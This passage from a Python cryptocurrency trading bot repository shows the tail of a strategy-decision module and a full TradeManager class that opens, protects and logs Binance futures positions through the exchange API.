self.Low, 231 | self.indicators["MACD_signal"]["values"], self.indicators["MACD"]["values"], 232 | self.indicators["EMA"]["values"], self.current_index) 233 | elif s == 'EMA_cross': 234 | d = TS.EMA_cross(d, self.indicators["EMA_S"]["values"], self.indicators["EMA_L"]["values"], self.current_index) 235 | elif s == 'heikin_ashi_ema2': 236 | d, _ = TS.heikin_ashi_ema2(self.Open_H, self.High_H, self.Low_H, self.Close_H, d, -99, 0, 237 | self.indicators["fastd"]["values"], self.indicators["fastk"]["values"], 238 | self.indicators["EMA"]["values"], self.current_index) 239 | elif s == 'heikin_ashi_ema': 240 | d, _ = TS.heikin_ashi_ema(self.Open_H, self.Close_H, d, -99, 0, 241 | self.indicators["fastd"]["values"], self.indicators["fastk"]["values"], 242 | self.indicators["EMA"]["values"], self.current_index) 243 | elif s == "ema_crossover": 244 | d = TS.ema_crossover(d, self.current_index, self.indicators["ema_short"]["values"], self.indicators["ema_long"]["values"]) 245 | except Exception as e: 246 | exc_type, exc_obj, exc_tb = sys.exc_info() 247 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 248 | log.error(f"make_decision() - strategy: {self.strategy}, Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 249 | try: 250 | if d != -99 and self.TP_SL_choice not in custom_tp_sl_functions: 251 | self.update_TP_SL() 252 | sl, tp = TS.SetSLTP(self.stop_loss_val, self.take_profit_val, self.peaks, self.troughs, self.Close, 253 | self.High, self.Low, d, self.SL_mult, self.TP_mult, self.TP_SL_choice, self.current_index) 254 | except Exception as e: 255 | exc_type, exc_obj, exc_tb = sys.exc_info() 256 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 257 | log.error(f"make_decision() - SetSLTP choice: {self.TP_SL_choice}, Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 258 | return d, sl, tp 259 | 260 | def check_close_pos(self, trade_direction): 261 | close_pos = 0 262 | try: 263 | if self.strategy == 'heikin_ashi_ema2': 264 | _, close_pos = TS.heikin_ashi_ema2(self.Open_H, self.High_H, self.Low_H, self.Close_H, -99, trade_direction, 0, 265 | self.indicators["fastd"]["values"], self.indicators["fastk"]["values"], 266 | self.indicators["EMA"]["values"], self.current_index) 267 | elif self.strategy == 'heikin_ashi_ema': 268 | _, close_pos = TS.heikin_ashi_ema(self.Open_H, self.Close_H, -99, trade_direction, 0, 269 | self.indicators["fastd"]["values"], self.indicators["fastk"]["values"], 270 | self.indicators["EMA"]["values"], self.current_index) 271 | except Exception as e: 272 | exc_type, exc_obj, exc_tb = sys.exc_info() 273 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 274 | log.error(f"check_close_pos() - strategy: {self.strategy}, Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 275 | return close_pos 276 | 277 | def _pop_all(self, idx): 278 | for a in ("Date","Close","Volume","High","Low","Open","Open_H","Close_H","High_H","Low_H"): 279 | getattr(self, a).pop(idx) 280 | 281 | def remove_last_candle(self): self._pop_all(-1) 282 | def remove_first_candle(self): self._pop_all(0) 283 | 284 | def consume_new_candle(self, k): 285 | self.Date.append(int(k['T'])) 286 | self.Close.append(float(k['c'])) 287 | self.Volume.append(float(k['q'])) 288 | self.High.append(float(k['h'])) 289 | self.Low.append(float(k['l'])) 290 | self.Open.append(float(k['o'])) 291 | 292 | def generate_new_heikin_ashi(self): 293 | self.Open_H.append((self.Open_H[-1] + self.Close_H[-1]) / 2) 294 | self.Close_H.append((self.Open[-1] + self.Close[-1] + self.Low[-1] + self.High[-1]) / 4) 295 | self.High_H.append(max(self.High[-1], self.Open_H[-1], self.Close_H[-1])) 296 | self.Low_H.append(min(self.Low[-1], self.Open_H[-1], self.Close_H[-1])) 297 | -------------------------------------------------------------------------------- /TradeManager.py: -------------------------------------------------------------------------------- 1 | import time, os, sys 2 | from Logger import * 3 | from threading import Thread 4 | from binance import ThreadedWebsocketManager 5 | from binance.client import Client 6 | from binance.enums import ( 7 | SIDE_SELL, SIDE_BUY, 8 | FUTURE_ORDER_TYPE_MARKET, FUTURE_ORDER_TYPE_LIMIT, 9 | TIME_IN_FORCE_GTC, FUTURE_ORDER_TYPE_STOP_MARKET, 10 | FUTURE_ORDER_TYPE_TAKE_PROFIT 11 | ) 12 | from tabulate import tabulate 13 | 14 | import TradingStrats 15 | from LiveTradingConfig import * 16 | from Helper import Trade 17 | 18 | 19 | def calculate_custom_tp_sl(options): 20 | """Custom TP/SL that needs trade info; used when TP_SL_choice requires context.""" 21 | sl = tp = -99 22 | if TP_SL_choice == 'USDT': 23 | sl, tp = TradingStrats.USDT_SL_TP(options) 24 | return sl, tp 25 | 26 | class TradeManager: 27 | def __init__(self, client: Client, new_trades_q, print_trades_q): 28 | self.client = client 29 | self.active_trades: list[Trade] = [] 30 | self.use_trailing_stop = use_trailing_stop 31 | self.trailing_stop_callback = trailing_stop_callback 32 | self.use_market_orders = use_market_orders 33 | self.new_trades_q = new_trades_q 34 | self.print_trades_q = print_trades_q 35 | self.total_profit = 0 36 | self.number_of_wins = 0 37 | self.number_of_losses = 0 38 | 39 | Thread(target=self.check_threshold_loop, daemon=True).start() 40 | self.twm = ThreadedWebsocketManager(api_key=API_KEY, api_secret=API_SECRET) 41 | self.twm.start() 42 | self.user_socket = self.twm.start_futures_user_socket(callback=self.monitor_trades) 43 | Thread(target=self.log_trades_loop, daemon=True).start() 44 | Thread(target=self.monitor_orders_by_polling_api, daemon=True).start() 45 | 46 | def monitor_orders_by_polling_api(self): 47 | """Poll open positions to attach TP/SL when fills happen during packet loss.""" 48 | while True: 49 | time.sleep(15) 50 | opens = self.get_all_open_positions() 51 | if not opens: continue 52 | try: 53 | for t in self.active_trades: 54 | if t.symbol in opens and t.trade_status == 0: 55 | i = self.active_trades.index(t) 56 | t.trade_status = self.place_tp_sl(t.symbol, t.trade_direction, t.CP, t.tick_size, t.entry_price, i) 57 | except Exception as e: 58 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 59 | log.warning(f'monitor_orders_by_polling_api() - Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 60 | 61 | def new_trades_loop(self): 62 | """Process new trade signals and open orders.""" 63 | while True: 64 | symbol, OP, CP, tick, direction, _, sl, tp = self.new_trades_q.get() 65 | open_syms = self.get_all_open_or_pending_trades() 66 | if open_syms != -1 and symbol not in open_syms and len(self.active_trades) < max_number_of_positions and self.check_margin_sufficient(): 67 | try: 68 | order_id, qty, entry, status = self.open_trade(symbol, direction, OP, tick) 69 | if TP_SL_choice in custom_tp_sl_functions and status != -1: 70 | sl, tp = calculate_custom_tp_sl({'position_size': qty}) 71 | if status != -1: 72 | self.active_trades.append(Trade(0, entry, qty, tp, sl, direction, order_id, symbol, CP, tick)) 73 | if status == 1: 74 | self.active_trades[-1].trade_status = self.place_tp_sl(symbol, direction, CP, tick, entry, -1) 75 | elif status == 0: 76 | log.info(f'new_trades_loop() - Order placed {symbol}, Entry: {entry}, Qty: {qty}, Side: {"Long" if direction else "Short"}') 77 | except Exception as e: 78 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 79 | log.warning(f'new_trades_loop() - Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 80 | 81 | def monitor_trades(self, msg): 82 | """User-stream callback: set TP/SL on fills and track wins/losses/closures.""" 83 | try: 84 | updates = [] 85 | for t in self.active_trades: 86 | if msg['e'] == 'ORDER_TRADE_UPDATE' and msg['o']['s'] == t.symbol and msg['o']['X'] == 'FILLED': 87 | i = self.active_trades.index(t) 88 | rp = float(msg['o']['rp']) 89 | oid = msg['o']['i'] 90 | if rp > 0 and oid == t.TP_id: 91 | self.total_profit += rp; self.number_of_wins += 1; updates.append([i, 4]) 92 | elif rp < 0 and oid == t.SL_id: 93 | self.total_profit += rp; self.number_of_losses += 1; updates.append([i, 5]) 94 | elif oid == t.order_id: 95 | status = self.place_tp_sl(t.symbol, t.trade_direction, t.CP, t.tick_size, t.entry_price, i) 96 | updates.append([i, status]) 97 | elif msg['e'] == 'ACCOUNT_UPDATE': 98 | i = self.active_trades.index(t) 99 | for p in msg['a']['P']: 100 | if p['s'] == t.symbol and p['pa'] == '0': 101 | updates.append([i, 6]) 102 | for i, status in updates: 103 | self.active_trades[i].trade_status = status 104 | except Exception as e: 105 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 106 | log.warning(f'monitor_trades() - Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 107 | 108 | def place_tp_sl(self, symbol, direction, CP, tick, entry_price, index): 109 | """Place TP and SL orders for an opened position.""" 110 | try: self.client.futures_cancel_all_open_orders(symbol=symbol) 111 | except: pass 112 | self.active_trades[index].position_size = abs(next(float(p['positionAmt']) for p in self.client.futures_position_information() if p['symbol'] == symbol)) 113 | self.active_trades[index].SL_id = self.place_SL(symbol, self.active_trades[index].SL_val, direction, CP, tick, self.active_trades[index].position_size) 114 | self.active_trades[index].TP_id = self.place_TP(symbol, [self.active_trades[index].TP_val, self.active_trades[index].position_size], direction, CP, tick) 115 | if self.active_trades[index].SL_id != -1 and self.active_trades[index].TP_id != -1: 116 | log.info(f'new_trades_loop() - Position OPEN {symbol}, orderId: {self.active_trades[-1].order_id}, Entry: {entry_price}, Qty: {self.active_trades[index].position_size}, Side: {"Long" if direction else "Short"} | TP & SL placed') 117 | self.print_trades_q.put(True) 118 | return 1 119 | return 3 120 | 121 | def get_all_open_or_pending_trades(self): 122 | """Symbols with open positions or pending/active bot trades.""" 123 | try: 124 | opens = [p['symbol'] for p in self.client.futures_position_information() if float(p['notional']) != 0.0] 125 | actives = [t.symbol for t in self.active_trades] 126 | return opens + actives 127 | except Exception as e: 128 | log.warning(f'get_all_open_or_pending_trades() - {e}') 129 | return -1 130 | 131 | def get_all_open_positions(self): 132 | """Symbols with non-zero notional.""" 133 | try: 134 | return [p['symbol'] for p in self.client.futures_position_information() if float(p['notional']) != 0.0] 135 | except Exception as e: 136 | log.warning(f'get_all_open_trades() - {e}') 137 | return [] 138 | 139 | def check_margin_sufficient(self): 140 | """Ensure margin is sufficient before opening a new position.""" 141 | try: 142 | a = self.client.futures_account() 143 | return float(a['totalMarginBalance']) > (float(a['totalWalletBalance']) * (1 - order_size / 100)) / leverage 144 | except Exception as e: 145 | log.warning(f'check_margin_sufficient() - {e}') 146 | return False 147 | 148 | def check_threshold_loop(self): 149 | """Cancel stale entries when price has moved beyond configured threshold.""" 150 | while True: 151 | try: 152 | time.sleep(5) 153 | for t in self.active_trades: 154 | if t.trade_status == 0: 155 | px = float(self.client.futures_symbol_ticker(symbol=t.symbol)['price']) 156 | moved = (px - t.entry_price) / t.entry_price if t.trade_direction == 1 else (t.entry_price - px) / t.entry_price 157 | if moved > trading_threshold / 100: 158 | t.current_price = px; t.trade_status = 2 159 | self.cancel_and_remove_trades() 160 | except Exception as e: 161 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 162 | log.warning(f'check_threshold_loop() - Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 163 | 164 | def cancel_and_remove_trades(self): 165 | """Remove finished/failed trades from active list and clean orders.""" 166 | i = 0 167 | opens = self.get_all_open_positions() 168 | while i < len(self.active_trades): 169 | t = self.active_trades[i] 170 | try: 171 | if t.trade_status == 2 and opens: 172 | if self.check_position_and_cancel_orders(t, opens): 173 | pct = abs(100 * (t.entry_price - t.current_price) / t.entry_price) 174 | log.info(f'cancel_and_remove_trades() - Cancelled {t.symbol} (threshold exceeded). Current: {t.current_price}, Entry: {t.entry_price}, Δ%: {pct}') 175 | self.active_trades.pop(i); continue 176 | t.trade_status = 0; i += 1 177 | elif t.trade_status == 3: 178 | self.close_position(t.symbol, t.trade_direction, t.position_size) 179 | log.info(f'cancel_and_remove_trades() - Cancelled {t.symbol} due to TP/SL placement issue') 180 | self.active_trades.pop(i) 181 | elif t.trade_status in (4,5,6): 182 | self.client.futures_cancel_all_open_orders(symbol=t.symbol) 183 | reason = {4:"TP hit",5:"SL hit",6:"Position closed"}[t.trade_status] 184 | log.info(f'cancel_and_remove_trades() - Closed {t.symbol}: {reason}') 185 | self.active_trades.pop(i) 186 | else: 187 | i += 1 188 | except Exception as e: 189 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 190 | log.warning(f'cancel_and_remove_trades() - {t.symbol} | Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 191 | i += 1 192 | 193 | def open_trade(self, symbol, direction, OP, tick): 194 | """Submit market/limit entry and return (order_id, qty, entry_price, status).""" 195 | try: 196 | ob = self.client.futures_order_book(symbol=symbol) 197 | except Exception as e: 198 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 199 | log.warning(f'open_trade() - Order book error | Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 200 | return -1, -1, -1, -1 201 | 202 | entry_price = float(ob['bids'][0][0]) if direction == 1 else float(ob['asks'][0][0]) 203 | bal = self.get_account_balance() 204 | notional = leverage * bal * (order_size / 100) 205 | qty = round(notional / entry_price) if OP == 0 else round(notional / entry_price, OP) 206 | 207 | if self.use_market_orders: 208 | try: 209 | side = SIDE_SELL if direction == 0 else SIDE_BUY 210 | order = self.client.futures_create_order(symbol=symbol, side=side, type=FUTURE_ORDER_TYPE_MARKET, quantity=qty) 211 | oid = order['orderId'] 212 | mkt_entry = float(self.client.futures_position_information(symbol=symbol)[0]['entryPrice']) 213 | return oid, qty, mkt_entry, 1 214 | except Exception as e: 215 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 216 | log.warning(f'open_trade() - Market order error {symbol}, OP:{OP}, dir:{direction}, qty:{qty} | Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 217 | return -1, -1, -1, -1 218 | else: 219 | try: 220 | side = SIDE_SELL if direction == 0 else SIDE_BUY 221 | order = self.client.futures_create_order(symbol=symbol, side=side, type=FUTURE_ORDER_TYPE_LIMIT, price=entry_price, timeInForce=TIME_IN_FORCE_GTC, quantity=qty) 222 | return order['orderId'], qty, entry_price, 0 223 | except Exception as e: 224 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 225 | log.warning(f'open_trade() - Limit order error {symbol}, OP:{OP}, tick:{tick}, entry:{entry_price}, dir:{direction}, qty:{qty} | Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 226 | return -1, -1, -1, -1 227 | 228 | def get_account_balance(self): 229 | """Return USDT futures balance.""" 230 | try: 231 | for x in self.client.futures_account_balance(): 232 | if x['asset'] == 'USDT': return float(x['balance']) 233 | except Exception as e: 234 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 235 | log.warning(f'get_account_balance() - Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 236 | 237 | def place_TP(self, symbol, TP, direction, CP, tick): 238 | """Place a Take Profit (or trailing) order.""" 239 | try: 240 | tp_val = round(TP[0]) if CP == 0 else round(round(TP[0] / tick) * tick, CP) 241 | side = SIDE_SELL if direction == 1 else SIDE_BUY 242 | if not self.use_trailing_stop: 243 | o = self.client.futures_create_order(symbol=symbol, side=side, type=FUTURE_ORDER_TYPE_TAKE_PROFIT, price=tp_val, stopPrice=tp_val, timeInForce=TIME_IN_FORCE_GTC, reduceOnly='true', quantity=TP[1]) 244 | else: 245 | o = self.client.futures_create_order(symbol=symbol, side=side, type='TRAILING_STOP_MARKET', ActivationPrice=tp_val, callbackRate=self.trailing_stop_callback, quantity=TP[1]) 246 | return o['orderId'] 247 | except Exception as e: 248 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 249 | log.warning(f"place_TP() - {symbol} price:{tp_val}, qty:{TP[1]} | Error: {e}, Info: {(exc_type, fname, exc_tb.tb_lineno)}") 250 | return -1 251 | 252 | def place_SL(self, symbol, SL, direction, CP, tick, qty): 253 | """Place a Stop Loss order.""" 254 | try: 255 | SL = round(SL) if CP == 0 else round(round(SL / tick) * tick, CP) 256 | side = SIDE_SELL if direction == 1 else SIDE_BUY 257 | o = self.client.futures_create_order(symbol=symbol, side=side, type=FUTURE_ORDER_TYPE_STOP_MARKET, reduceOnly='true', stopPrice=SL, quantity=qty) 258 | return o['orderId'] 259 | except Exception as e: 260 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 261 | log.warning(f"place_SL() - {symbol} price:{SL} | Error: {e}, Info: {(exc_type, fname, exc_tb.tb_lineno)}") 262 | return -1 263 | 264 | def close_position(self, symbol, direction, qty): 265 | """Force-close an open position (used on errors/conditions).""" 266 | try: 267 | self.client.futures_cancel_all_open_orders(symbol=symbol) 268 | except: 269 | log.warning(f'close_position() - Could not cancel open orders for {symbol} (maybe none)') 270 | side = SIDE_BUY if direction == 0 else SIDE_SELL 271 | self.client.futures_create_order(symbol=symbol, side=side, type=FUTURE_ORDER_TYPE_MARKET, quantity=qty) 272 | 273 | def check_position_and_cancel_orders(self, trade: Trade, open_trades: list[str]): 274 | """Cancel orders only if no position has been entered.""" 275 | if trade.symbol not in open_trades: 276 | self.client.futures_cancel_all_open_orders(symbol=trade.symbol) 277 | return True 278 | return False 279 | 280 | def log_trades_loop(self): 281 | """Continuously print account/trade summary when updates arrive.""" 282 | while True: 283 | try: 284 | self.print_trades_q.get() 285 | positions = [p for p in self.client.futures_position_information() if float(p['notional']) != 0.0] 286 | win_loss = 'Not available yet' 287 | if self.number_of_losses: win_loss = round(self.number_of_wins / self.number_of_losses, 4) 288 | if positions: 289 | info = {'Symbol': [], 'Position Size': [], 'Direction': [], 'Entry Price': [], 'Market Price': [], 'TP': [], 'SL': [], 'Distance to TP (%)': [], 'Distance to SL (%)': [], 'PNL': []} 290 | orders = self.client.futures_get_open_orders() 291 | tps = {f'{o["symbol"]}_TP': float(o['price']) for o in orders if o.get('reduceOnly') is True and o['type'] == 'TAKE_PROFIT'} 292 | sls = {f'{o["symbol"]}_SL': float(o['stopPrice']) for o in orders if o['origType'] == 'STOP_MARKET'} 293 | open_orders = {**tps, **sls} 294 | for p in positions: 295 | sym = p['symbol']; mp = float(p['markPrice']); ep = p['entryPrice'] 296 | info['Symbol'].append(sym) 297 | info['Position Size'].append(p['positionAmt']) 298 | info['Direction'].append('LONG' if float(p['notional']) > 0 else 'SHORT') 299 | info['Entry Price'].append(ep) 300 | info['Market Price'].append(p['markPrice']) 301 | tpv = open_orders.get(f'{sym}_TP'); slv = open_orders.get(f'{sym}_SL') 302 | info['TP'].append(tpv if tpv is not None else 'Not opened yet') 303 | info['SL'].append(slv if slv is not None else 'Not opened yet') 304 | info['Distance to TP (%)'].append(round(abs((mp - tpv) / mp * 100), 3) if tpv else 'Not available yet') 305 | info['Distance to SL (%)'].append(round(abs((mp - slv) / mp * 100), 3) if slv else 'Not available yet') 306 | info['PNL'].append(float(p['unRealizedProfit'])) 307 | log.info(f'Balance: ${round(self.get_account_balance() or 0, 3)}, Total PnL: ${round(self.total_profit, 3)}, Unrealized: ${round(sum(info["PNL"]),3)}, Wins: {self.number_of_wins}, Losses: {self.number_of_losses}, W/L: {win_loss}, Open: {len(info["Symbol"])}\n' + tabulate(info, headers='keys', tablefmt='github')) 308 | else: 309 | log.info(f'Balance: ${round(self.get_account_balance() or 0, 3)}, Total PnL: ${round(self.total_profit, 3)}, Wins: {self.number_of_wins}, Losses: {self.number_of_losses}, W/L: {win_loss}, No Open Positions') 310 | except Exception as e: 311 | exc_type, exc_obj, exc_tb = sys.exc_info(); fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 312 | log.warning(f'log_trades_loop() - {e}, Info: {(exc_type, fname, exc_tb.tb_lineno)}') 313 | 314 | def start_new_trades_loop_multiprocess(client: Client, new_trades_q, print_trades_q): 315 | TM = TradeManager(client, new_trades_q, print_trades_q) 316 | TM.new_trades_loop() 317 | --------------------------------------------------------------------------------